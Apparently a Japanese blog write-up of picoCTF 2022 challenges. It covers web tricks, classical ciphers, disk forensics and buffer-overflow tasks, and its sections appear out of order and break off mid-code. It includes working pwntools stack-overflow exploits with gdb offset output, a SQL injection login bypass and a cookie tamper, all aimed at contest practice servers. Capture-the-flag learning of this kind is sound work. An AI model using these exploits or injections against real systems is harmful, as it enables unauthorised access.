<http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.For help, type "help".Type "apropos word" to search for commands related to "word"...Reading symbols from vuln...(No debugging symbols found in vuln)gdb-peda$ pattc 300'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'gdb-peda$ runStarting program: /home/maz-picoctf/bof2/vuln warning: Error disabling address space randomization: Operation not permittedPlease enter your string: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%Program received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]EAX: 0x12d EBX: 0x41413741 ('A7AA')ECX: 0xffffffff EDX: 0xffffffff ESI: 0xf7f74000 --> 0x1ead6c EDI: 0xf7f74000 --> 0x1ead6c EBP: 0x6941414d ('MAAi')ESP: 0xffb8bec0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")EIP: 0x41384141 ('AA8A')EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]Invalid $PC address: 0x41384141[------------------------------------stack-------------------------------------]0000| 0xffb8bec0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")0004| 0xffb8bec4 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")0008| 0xffb8bec8 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")0012| 0xffb8becc ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")0016| 0xffb8bed0 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")0020| 0xffb8bed4 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")0024| 0xffb8bed8 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")0028| 0xffb8bedc ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x41384141 in ?? ()gdb-peda$ patto 0x413841411094205761 found at offset: 112gdb-peda$ 112桁でオーバーフロー。 以上の情報を使用してexploitを作成します( buffer overflow1 のコードを流用)。win関数の引数検証をバイパスする部分の追加を忘れないようにしましょう。 # exploit.py...def exploit(con, elf, libc, rop): win_symbols = elf.symbols["win"] log.info("win symbol: {}".format(hex(win_symbols))) offset = 112 args_1 = 0xCAFEF00D args_2 = 0xF00DF00D payload = b"A" * offset payload += pack(win_symbols) payload += b"BBBB" payload += pack(args_1) payload += pack(args_2) log.info("payload: {}".format(payload)) con.sendline(payload) maz-picoctf@webshell:~/bof2$ python exploit.py REMOTE[+] Opening connection to saturn.picoctf.net on port 61527: Done[*] '/home/maz-picoctf/bof2/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)[*] Loaded 10 cached gadgets for './vuln'[*] win symbol: 0x8049296[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04\x08BBBB\r\xf0\xfe\xca\r\xf0\r\xf0'[*] Switching to interactive modePlease enter your string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\xfe\xcaAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04BBBB$ picoCTF{argum3nt5_4_d4yZ_4b24a3aa}[*] Got EOF while reading in interactive flag: picoCTF{argum3nt5_4_d4yZ_4b24a3aa} Forensics Enhance! Description Download this image file and find the flag. * Download image file svgファイルからフラグを探す問題です。tspanタグに有りました。 maz-picoctf@webshell:~/enhance$ strings drawing.flag.svg flag: picoCTF{3nh4nc3d_24374675} Sleuthkit Intro Description Download the disk image and use mmls on it to find the size of the Linux partition. Connect to the remote checker service to check your answer and get the flag. Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory. * Download disk image * Access checker program: nc saturn.picoctf.net 52279 問題通りmmls コマンドを使用して、配布されたイメージファイルのpartitionサイズを入力すればフラグがゲットできます。 maz-picoctf@webshell:/tmp/sleuthkit_intro$ mmls disk.img DOS Partition TableOffset Sector: 0Units are in 512-byte sectors Slot Start End Length Description000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)001: ------- 0000000000 0000002047 0000002048 Unallocated002: 000:000 0000002048 0000204799 0000202752 Linux (0x83)maz-picoctf@webshell:/tmp/sleuthkit_intro$ maz-picoctf@webshell:/tmp/sleuthkit_intro$ nc saturn.picoctf.net 52279What is the size of the Linux partition in the given disk image?Length in sectors: 202752202752Great work!picoCTF{mm15_f7w!} flag: picoCTF{mm15_f7w!} Sleuthkit Apprentice Description Download this disk image and find the flag. Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory. * Download compressed disk image ディスクイメージにあるフラグをゲットします。 maz-picoctf@webshell:/tmp/sleuthkit_apprentice$ mmls disk.flag.img DOS Partition TableOffset Sector: 0Units are in 512-byte sectors Slot Start End Length Description000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)001: ------- 0000000000 0000002047 0000002048 Unallocated002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)003: 000:001 0000206848 0000360447 0000153600 Linux Swap / Solaris x86 (0x82)004: 000:002 0000360448 0000614399 0000253952 Linux (0x83)maz-picoctf@webshell:/tmp/sleuthkit_apprentice$ maz-picoctf@webshell:/tmp/sleuthkit_apprentice$ maz-picoctf@webshell:/tmp/apprentice$ fls -r -o 360448 disk.flag.img | grep flag++ r/r * 2082(realloc): flag.txt++ r/r 2371: flag.uni.txtmaz-picoctf@webshell:/tmp/apprentice$ maz-picoctf@webshell:/tmp/apprentice$ icat -o 360448 disk.flag.img 2371 > flag.uni.txtmaz-picoctf@webshell:/tmp/apprentice$ lsdisk.flag.img flag.uni.txtmaz-picoctf@webshell:/tmp/apprentice$ cat flag.uni.txt picoCTF{by73_5urf3r_adac6cb4}maz-picoctf@webshell:/tmp/apprentice$ flag: picoCTF{by73_5urf3r_adac6cb4} Operation Oni Description Download this disk image, find the key and log into the remote machine. Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory. * Download disk image * Remote machine: ssh -i key_file -p 51508 ctf-player@saturn.picoctf.net ディスクイメージにあるSSHキーを取得して、リモートサーバへSSH接続してフラグをゲットする問題です。 maz-picoctf@webshell:/tmp/oni$ mmls disError stat(ing) image file (raw_open: image "dis" - No such file or directory)maz-picoctf@webshell:/tmp/oni$ mmls disk.img DOS Partition TableOffset Sector: 0Units are in 512-byte sectors Slot Start End Length Description000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)001: ------- 0000000000 0000002047 0000002048 Unallocated002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)003: 000:001 0000206848 0000471039 0000264192 Linux (0x83)maz-picoctf@webshell:/tmp/oni$ maz-picoctf@webshell:/tmp/oni$ fls -r -o 206848 disk.img | grep id_++++++ r/r 1335: raid_class.ko++ r/r 2345: id_ed25519++ r/r 2346: id_ed25519.pubmaz-picoctf@webshell:/tmp/oni$ maz-picoctf@webshell:/tmp/oni$ chmod 600 id_ed25519maz-picoctf@webshell:/tmp/oni$ maz-picoctf@webshell:/tmp/oni$ ssh -i id_ed25519 -p 51508 ctf-player@saturn.picoctf.netload pubkey "id_ed25519": invalid formatWelcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.13.0-1017-aws x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantageThis system has been minimized by removing packages and content that arenot required on a system that users do not log into.To restore this content, you can run the 'unminimize' command.The programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law.ctf-player@challenge:~$ ctf-player@challenge:~$ lsflag.txtctf-player@challenge:~$ ctf-player@challenge:~$ cat flag.txt picoCTF{k3y_5l3u7h_d6e19567}ctf-player@challenge:~$ ctf-player@challenge:~$ flag: picoCTF{k3y_5l3u7h_d6e19567} Operation Orchid Description Download this disk image and find the flag. Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory. * Download compressed disk image ディスクイメージ内にあるフラグをゲットする問題です。これまでと一緒ですね。サクッと行きましょう。 maz-picoctf@webshell:/tmp/orchid$ mmls disk.flag.img DOS Partition TableOffset Sector: 0Units are in 512-byte sectors Slot Start End Length Description000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)001: ------- 0000000000 0000002047 0000002048 Unallocated002: 000:000 0000002048 0000206847 0000204800 Linux (0x83)003: 000:001 0000206848 0000411647 0000204800 Linux Swap / Solaris x86 (0x82)004: 000:002 0000411648 0000819199 0000407552 Linux (0x83)maz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ fls -r -o 411648 disk.flag.img | grep flag+ r/r * 1876(realloc): flag.txt+ r/r 1782: flag.txt.encmaz-picoctf@webshell:/tmp/orchid$ ??? 暗号化されているかもです。 maz-picoctf@webshell:/tmp/orchid$ icat -o 411648 disk.flag.img 1782 > flag.txt.encmaz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ lsdisk.flag.img flag.txt.encmaz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ cat flag.txt.enc Salted__O金Oez2>@SSgk(r]}}fzȤ7 ؎$'%maz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ 案の定されていました。平文に復号する方法を考えないといけません。 maz-picoctf@webshell:/tmp/orchid$ file flag.txt.enc flag.txt.enc: openssl enc'd data with salted passwordmaz-picoctf@webshell:/tmp/orchid$ どうやらopensslを使用して暗号化されたようです( opensslコマンドを使用して暗号化 )。もしかしたらその際のコマンドがhistoryに残っているかもしれません。 maz-picoctf@webshell:/tmp/orchid$ fls -r -o 411648 disk.flag.img | grep history+ r/r 1875: .ash_historymaz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ icat -o 411648 disk.flag.img 1875 > .ash_historymaz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ cat .ash_history touch flag.txtnano flag.txt apk get nanoapk --helpapk add nanonano flag.txt opensslopenssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567shred -u flag.txtls -alhaltmaz-picoctf@webshell:/tmp/orchid$ 有りました。-dオプションで復号することができるのでやります。 maz-picoctf@webshell:/tmp/orchid$ openssl aes256 -d -salt -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567*** WARNING : deprecated key derivation used.Using -iter or -pbkdf2 would be better.bad decrypt140042247042368:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:610:maz-picoctf@webshell:/tmp/orchid$ maz-picoctf@webshell:/tmp/orchid$ lsdisk.flag.img flag.txt flag.txt.encmaz-picoctf@webshell:/tmp/orchid$ cat flag.txtpicoCTF{h4un71ng_p457_5113beab}maz-picoctf@webshell:/tmp/orchid$ flag: picoCTF{h4un71ng_p457_5113beab} 終わりに 問題が多い!! 完走した感想ですが、中高生向けCTFということでコマンドを実行できれば解ける系問題が多く「CTFできてる!!!!」という気持ちになれました。また設問ごとにヒントがあったりと非常に丁寧です。問題数も多く、ステップバイステップで”””高められていく”””体験を得られるかと思います。 スコアボードを見ると全問完答したチームが2チームいて恐ろしかったです…(しかも US Middle/High School)。正直取り組めた時間が少なかったためもう少しスコアは伸ばせそうな気はしますが、そこに慢心せずにスキルを伸ばしていきたいと思います。 次のCTFで会おう!!! サムネ画像ロゴは『pico CTF』より引用
アバター
2022年3月15日17時00分(UTC)〜2022年3月29日20時00分(UTC)に開催されたpicoCTF 2022にチームとして参加しました。 本記事はそのWriteupとなります。 概要 CTF(Capture the Flag)とは情報セキュリティの知識を使うセキュリティコンテンストの一つです。いくつかのジャンルに分かれており、例えば『リバースエンジニアリングによって実行ファイルの脆弱性をつく』だとか『Webアプリの脆弱性をつく』だとか『ファイル内に隠された情報を抜き取る』だとか、そういった攻撃をして隠された『Flag』を手に入れる事を行うコンテストです。 様々なコンテストが世界中で開催されており、日本では12月に本戦が開催される SECCON が有名となっています。 今回、その中でもより初心者向けに特化したpicoCTFに参加しました。各問題についてのwriteupを書きたいと思います。 picoCTFについて picoCTF は米国カーネギーメロン大学主催の中高生向けCTFとなっています。大学生や大人も参加可能となっていて、中高生向けには賞金があります。 出題されるジャンルとしては以下の5つとなっていて、総合得点は14600です(問題数がかなり多い)。 Web Exploitation Cryptography Reverse Engineering Forensics Binary Exploitation コンテスト自体は終了していますが、picoCTFに登録することでいつでも回答可能ですので、興味があれば解いてみると良いかと思います! 結果は7794チーム中1007位でした! (解いた問題割合) 流れ (日本時間3月28日午後2時の出来事) メンバー メンバー 紹介(筆者の偏見が混じっています) S.Hさん 絶対的エース S.Rさん マスター・オブ・セキュア M.W(私) ひよっこ Writeup Web Exploitation Includes jsファイルとcssファイルのコメントとして含まれています。 Inspect HTML こちらはコメントに。 Local Authority 非常にセキュアなログイン処理をかいくぐる必要があります。 Search source CSSファイルのコメントとして埋め込まれています。 Forbidden Paths これを、 こうして、 こうです。 Power Cookie isAdmin=0というCookieが渡されるので、1に書き換えて再度アクセスします。 Roboto Sans /robots.txtに意味深な文字列があります。 Base64デコードしたらパスが出てきて、そこにアクセスしたらflagでした。 Secrets ディレクトリを掘り進んでいくと出てきます。 SQL Direct PostgreSQLに接続してテーブルの情報を確認するだけです。PostgreSQLはあまり触らないので、MySQLとのコマンドの違いにちょっと苦戦しました。 SQLiLite SQLインジェクションで認証をバイパスできます。 <pre>usernamse: ' OR 1-1--password:SQL query: SELECT * FROM users WHERE name=' OR 1=1--' AND password=''</pre><h1>Logged in! But can you see the flag, it is in plainsight.</h1><p hidden>Your flag is: picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21}</p> Cryptography basic-mod1 ダウンロードした message.txt の中身は 202 137 390 235 114 369 198 110 350 396 390 383 225 258 38 291 75 324 401 142 288 397 となっています。 問題分から、message.txt に記載された数字をそれぞれ37で割った余り(0~36)を、A~Z、0-9、_ に置き換えればよさそうです。 以下の python3 で以下のとおり実行してみます。 >>> cipher_text = open("message.txt").read()>>> "".join(["ABCDEFGHJILKMNOPQRSTUVWXYZ0123456789_"[int(c)%37] for c in cipher_text.split()])'R0UND_N_R0UND_B6B25531' 復号化されたメッセージ "R0UND_N_R0UND_B6B25531" が分かりました。 flag は picoCTF{R0UND_N_R0UND_B6B25531} となります。 basic-mod2 ダウンロードした message.txt の中身は以下のとおりです。 104 85 69 354 344 50 149 65 187 420 77 127 385 318 133 72 206 236 206 83 342 206 370 基本的には basic_mod1 と同じですが、41で割った余りの法41のモジュラ逆数を利用することが異なります。 整数xの法41のモジュラ逆数とは、x*n%41==1 となる整数Nのことです。 Pythonでは以下で関数定義します。 >>> def inverse41(x):... for i in range(41):... if x*i%41==1:... return i... return 0 確かに問題なさそうです。 >>> inverse41(10)*10%411>>> inverse41(31)*31%411 あとは、basic_mod1と同様に解けます。 >>> cipher_text = open("message.txt").read()>>> "".join([" ABCDEFGHJILKMNOPQRSTUVWXYZ0123456789_"[inverse41(int(c)%41)] for c in cipher_text.split()])'1NV3R53KY_H4RD_DADAACAA' flagは picoCTF{1NV3R53KY_H4RD_DADAACAA} となります。 credstuff ダウンロードした leak.tar を展開すると、passwords.txt と usernames.txt が出力されます。 $ find leak -ls 1562440 4 drwxr-xr-x 2 suzuki.hiroaki suzuki.hiroaki 4096 Mar 15 06:29 leak 1562441 16 -rwxr-xr-x 1 suzuki.hiroaki suzuki.hiroaki 13130 Mar 15 06:29 leak/passwords.txt 1562442 8 -rwxr-xr-x 1 suzuki.hiroaki suzuki.hiroaki 7531 Mar 15 06:29 leak/usernames.txt 505人のユーザーのユーザー名とパスワードがそれぞれ、別ファイル usernames.txt と passwords.txt に保管されており、ユーザー cultiris のパスワードを求めればよさそうです。 $ head -n 3 leak/usernames.txt engineerrissolesicebuntfruitfultry$ head -n 3 leak/passwords.txt CMPTmLrgfYCexGzJu6TbdGwZaGK73YKE2XD2TEnvJeHRBdfpt2UukmEk5NCPGUSfs5tGWPK26gG$ wc -l leak/usernames.txt leak/passwords.txt 505 leak/usernames.txt 505 leak/passwords.txt 1010 total grep で cultiris の存在する行を求めて、対応するパスワードを取得します。 $ grep -n cultiris leak/usernames.txt378:cultiris$ head -n 378 leak/passwords.txt | tail -n 1cvpbPGS{P7e1S_54I35_71Z3} パスワードは Rot13 で暗号化されているようです。 phpを利用して復号化します。 $ php -r 'echo str_rot13("cvpbPGS{P7e1S_54I35_71Z3}");'picoCTF{C7r1F_54V35_71M3} flag は picoCTF{C7r1F_54V35_71M3} となります。 morse-code ダウンロードファイルは morse_chal.wav です。 音楽プレイヤーで再生してみると、問題タイトルどおりモールス信号っぽいです。 解読のため、音声編集ファイルで開きます。 モールス信号は .-- .... ....- --... / .... ....- --... .... / ----. ----- -.. / .-- ..--- ----- ..- ----. .... --... これを変換サービスを用いて変換します ( https://morsecode.world/international/translator.html ) 結果は WH47 H47H 90D W20U9H7 となりました。 flagは picoCTF{WH47_H47H_90D_W20U9H7} となります。 substitution0 ダウンロードした message.txt は以下のとおりです。 QWITJSYHXCNDFERMUKGOPVALBZ Hjkjpmre Djykqet qkrgj, axoh q ykqvj qet goqojdb qxk, qet wkrpyho fj ohj wjjodjskrf q ydqgg iqgj xe ahxih xo aqg jeidrgjt. Xo aqg q wjqpoxspd giqkqwqjpg, qet, qoohqo oxfj, penerae or eqopkqdxgog—rs irpkgj q ykjqo mkxzj xe q gixjeoxsxi mrxeors vxja. Ohjkj ajkj oar krpet wdqin gmrog ejqk rej jlokjfxob rs ohj wqin, qet qdrey rej ejqk ohj rohjk. Ohj giqdjg ajkj jlijjtxeydb hqkt qet ydrggb, axoh qdd ohjqmmjqkqeij rs wpkexghjt yrdt. Ohj ajxyho rs ohj xegjio aqg vjkb kjfqknqwdj, qet,oqnxey qdd ohxeyg xeor iregxtjkqoxre, X irpdt hqktdb wdqfj Cpmxojk srk hxg rmxexrekjgmjioxey xo.Ohj sdqy xg: mxirIOS{5PW5717P710E_3V0DP710E_03055505} どうやら、単純な換字式暗号のようです。 先頭行の QWITJSYHXCNDFERMUKGOPVALBZ が A~Zの文字に対応していそうです。 文字をテーブルに従って変換する関数を定義します。 >>> def convert(c):... if 'a' <= c <= 'z': return convert(c.upper()).lower()... table = 'QWITJSYHXCNDFERMUKGOPVALBZ'... if c in table: return chr(table.index(c) + 65)... return c 変換関数を用いて暗号文を解読します。 >>> cipher_text = open("message.txt").read()>>> print("".join(convert(c) for c in cipher_text))ABCDEFGHIJKLMNOPQRSTUVWXYZ Hereupon Legrand arose, with a grave and stately air, and brought me the beetlefrom a glass case in which it was enclosed. It was a beautiful scarabaeus, and, atthat time, unknown to naturalists—of course a great prize in a scientific pointof view. There were two round black spots near one extremity of the back, and along one near the other. The scales were exceedingly hard and glossy, with all theappearance of burnished gold. The weight of the insect was very remarkable, and,taking all things into consideration, I could hardly blame Jupiter for his opinionrespecting it.The flag is: picoCTF{5UB5717U710N_3V0LU710N_03055505} flagは picoCTF{5UB5717U710N_3V0LU710N_03055505} となります。 Reverse Engineering buffer overflow 1 Description Control the return address Now we're cooking! You can overflow the buffer and return to the flag function in the program . You can view source here . And connect with it using nc saturn.picoctf.net 60476 タイトル通りバッファーオーバーフローを狙う問題です。配布されている実行ファイルを実行すると、以下のようになります。どうやら入力文字列を受け取ると文字列とリターンアドレスが表示されるようです。 maz-picoctf@webshell:~/bof1$ ./vuln Please enter your string: hogehogeOkay, time to return... Fingers Crossed... Jumping to 0x804932fmaz-picoctf@webshell:~/bof1$ やたらめったら長く入力すると、リターンアドレスが変わっているのが確認できます。バッファーオーバーフローしてそうです。 maz-picoctf@webshell:~/bof1$ ./vuln Please enter your string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaOkay, time to return... Fingers Crossed... Jumping to 0x61616161Segmentation fault (core dumped)maz-picoctf@webshell:~/bof1$ ソースコードは下記になります。 //vuln.c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include "asm.h"#define BUFSIZE 32#define FLAGSIZE 64void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf);}void vuln(){ char buf[BUFSIZE]; gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());}int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0;} getsは入力長を制限できないため buf[BUFSIZE];を超えた入力を受け付けてしまう脆弱性があります。 よって戦略としては、getsに対してバッファーオーバーフローを発生させ、win()関数のアドレスを指定することでwin()関数をコールしフラグを入手することになりそうです。 何桁の入力でオーバーフローするか特定します。 maz-picoctf@webshell:~/bof1$ gdb vulnGNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2Copyright (C) 2020 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.For help, type "help".Type "apropos word" to search for commands related to "word"...Reading symbols from vuln...(No debugging symbols found in vuln)gdb-peda$ runStarting program: /home/maz-picoctf/bof1/vuln warning: Error disabling address space randomization: Operation not permittedPlease enter your string: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAAOkay, time to return... Fingers Crossed... Jumping to 0x41414641Program received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]EAX: 0x41 ('A')EBX: 0x61414145 ('EAAa')ECX: 0xffffffff EDX: 0x41 ('A')ESI: 0xf7f22000 --> 0x1ead6c EDI: 0xf7f22000 --> 0x1ead6c EBP: 0x41304141 ('AA0A')ESP: 0xffb13c60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")EIP: 0x41414641 ('AFAA')EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]Invalid $PC address: 0x41414641[------------------------------------stack-------------------------------------]0000| 0xffb13c60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0004| 0xffb13c64 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0008| 0xffb13c68 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0012| 0xffb13c6c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0016| 0xffb13c70 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0020| 0xffb13c74 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0024| 0xffb13c78 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0028| 0xffb13c7c ("AA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x41414641 in ?? ()gdb-peda$ patto 0x414146411094796865 found at offset: 44gdb-peda$ Aborted (core dumped)maz-picoctf@webshell:~/bof1$ gdb-pedaで確認したところ44桁でオーバーフローしそうです。 以上を受けてexploitを作成します。 # exploit.pyfrom pwn import *FILE = "./vuln"LIBC = ""HOST = "saturn.picoctf.net"PORT = 60476def exploit(con, elf, libc, rop): win_symbols = elf.symbols["win"] log.info("win symbol: {}".format(hex(win_symbols))) offset = 44 payload = b"A" * offset payload += pack(win_symbols) log.info("payload: {}".format(payload)) con.sendline(payload)def main(): # context(arch=ARCH, os="linux") if 